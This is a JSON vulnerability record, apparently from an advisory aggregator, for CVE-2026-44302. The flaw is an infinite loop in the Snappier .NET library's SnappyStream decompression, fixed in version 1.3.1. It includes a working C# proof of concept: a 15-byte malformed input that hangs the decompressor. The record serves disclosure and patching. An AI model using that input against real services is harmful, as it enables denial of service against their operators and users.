{"id":"CVE-2026-44302","aliases":["GHSA-pggp-6c3x-2xmx"],"url":"https://o3.security/vulnerability/CVE-2026-44302","summary":"Snappier: Infinite loop in SnappyStream decompression on malformed framed input","details":"### Summary\n`Snappier.SnappyStream` enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.\n\n### Details\nThe hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.\n\n### PoC\n```csharp\nusing System.IO.Compression;\nusing Snappier;\n\nbyte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };\nusing var src = new MemoryStream(data);\nusing var snap = new SnappyStream(src, CompressionMode.Decompress);\nusing var dst = new MemoryStream();\nsnap.CopyTo(dst);   // never returns\n```\n\n### Impact\nA caller using `SnappyStream` on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. `try/catch` around the stream operation can't recover (no exception is thrown).","published":"2026-05-12T21:33:07.206Z","modified":"2026-08-12T03:51:23.950328854Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00263,"percentile":0.17646,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"NuGet","name":"Snappier","fixedVersion":"1.3.1"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44302.json"},{"type":"ADVISORY","url":"https://github.com/brantburnett/Snappier/security/advisories/GHSA-pggp-6c3x-2xmx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44302"},{"type":"PACKAGE","url":"https://github.com/brantburnett/Snappier"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:23.950328854Z"}}